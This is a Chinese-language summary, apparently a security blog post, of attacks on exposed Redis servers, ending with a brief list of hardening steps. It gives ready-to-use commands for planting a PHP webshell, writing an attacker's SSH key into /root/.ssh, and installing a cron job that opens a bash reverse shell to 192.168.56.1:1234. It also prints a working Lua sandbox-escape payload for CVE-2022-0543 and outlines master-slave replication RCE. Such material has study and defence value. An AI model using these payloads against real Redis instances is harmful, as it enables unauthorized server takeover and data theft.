Redis系列漏洞总结

Redis简介:

Redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set –有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中(基于内存存储)。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。redis在开发中主要使用的地方:网站的实时点击数、热点新闻数据排行榜等数据量较大且需要实时更新的地方。

0x00 未授权访问:

漏洞原理

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
在这里插入图片描述

这里绑定地址前面#注释了,最好打开设置为本地和内网。

修改protected-mode为no,关闭保护模式,允许远程连接redis服务,protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接:

在这里插入图片描述

0x01 redis写入webshell

漏洞原理

靶机的redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限,即可通过redis在指定的web目录下写入一句话木马,用蚁剑连接可达到控制服务器的目的。

1
2
3
4
config set dir /var/www/html/   //切换到网站的根目录
config set dbfilename zcc.php //在磁盘中生成木马文件
set xxx "\n\n\n<?php @eal($_POST['zcc']);?>\n\n\n" //写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save //将内存中的数据导出到磁盘

0x02 redis写入ssh公钥登录

漏洞原理

在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

写入公钥的前提:
● Redis服务使用root账号启动
● 成功连接redis
● 服务器开放了SSH服务,而且允许使用密钥登录,并且存在/root/.ssh目录,(安装的openssh只要
将公钥放入到/root/.ssh文件夹中,无需设置 默认就允许使用公钥登录),即可远程写入一个公钥,直接登录远程服务器。
攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可

1
2
3
4
5
ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCiRdspB+toUvUw1pvmizU3XUk9tEF8Dvu/u2Ro9wOYlFWL+JsEI8IWbnQY8YenPZStJMQGu0onJML+fM475Prd6llv3gOZL45P07Xv03MqVcrU0BrFxmtXd9fr91Sl5kPNME9A2LrfmWszkELGDn+RJPSTGXvB8yKTJ2TjwP2Bn6RbVCtOpX3bkaCFja4MvjxeDat0yYFRw9SOUE1UEU3jsX0jvIjhjDlcOhOtsHgB3rCyN+U6sY8T9IzmFaw7BjufHEpTiErx5NDOW/FjQsEuX2eCX6w3RxCdso1oceVhG+5VbsorEi01ddSEGubK4ZvMB0/kwJu0e1dozaJZOIKxxxx7zhdVjHb0zJQzbqqzwbMe54dsGerQA1BCnLF/axmt13BNZKXgBIcaxtPx7Ik7ekigjn/T6ldlguZXUup+yI8g8nzJEkI6PFNc+UYl+SY1cqpCmPQv2CGP8FcD++VBmxf0hh8AzO4jdbfZZIqpBqqhtVKeHLXMcV7OXCFM= red@sxxc\n\n\n"
save

连接:
ssh -i id_rsa root@ip

0x03写入计划任务反弹shell

漏洞原理

原理就是在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

1
2
3
4
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.56.1/1234 0>&1\n\n"  //\n为换行符,此处一定要加\n,这样反弹shell语句与其他乱码语句就会分隔开不在同一行,这样才能成功反弹shell
config setdir /var/spool/cron
config set dbfilename root
save

反弹shell这里只在centos中能够利用成功,ubuntu系统由于通过redis写入计划任务后乱码原因导致无法反弹成功。

0x04主从复制rce

漏洞原理:

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

利用前提:

  1. redis 4.x/5.x
  2. 无需root账号启动redis,普通权限也可以

什么是主从复制?
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

复现:
参考vulhub复现~ docker环境拉取就可以

0x05 ssrf+redis写入webshell

当我们检测出一个网站存在SSRF漏洞的时候,我们就可以探测当前或者内网主机开放的端口,而这些端口往往我们从外网是不能直接探测到的,所以可以尝试利用ssrf探测内网开放的端口,当探测处内网存在redis的时候,则可以尝试进行攻击。

漏洞利用前提:

  1. 知道网站根目录
  2. 根目录具有写文件的权限

0x06 Redis Lua 沙盒绕过rce

复现参考vulhub:
CVE-2022-0543漏洞影响的版本只限于Debian 和 Debian 派生的 Linux 发行版(如Ubuntu)上的 Redis 服务。
安全研究人员发现在 Debian 上,Lua 由 Redis 动态加载,且在 Lua 解释器本身初始化时,module和require以及package的Lua 变量存在于上游Lua 的全局环境中,而不是不存在于 Redis 的 Lua 上,并且前两个全局变量在上个版本中被清除修复了,而package并没有清楚,所以导致redis可以加载上游的Lua全局变量package来逃逸沙箱。

利用luaopen_io函数,执行代码:

1
2
3
4
5
6
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); 
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res' 0

前提都是需要知道package.loadlib的路径。

0x06 Redis防御

  1. 绑定本地和内网ip地址进行访问,如本地ip:127.0.0.1,192.168.54.1
  2. requirepass设置redis密码,(默认为空)
  3. 保护模式开启protected-mode开启(默认开启)
  4. 更改默认端口(6379)
  5. 避免使用root权限使用

参考链接:

https://blog.csdn.net/qq_44159028/article/details/127379013?app_version=5.8.1&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22127379013%22%2C%22source%22%3A%22weixin_52118430%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app

https://www.freebuf.com/articles/web/289231.html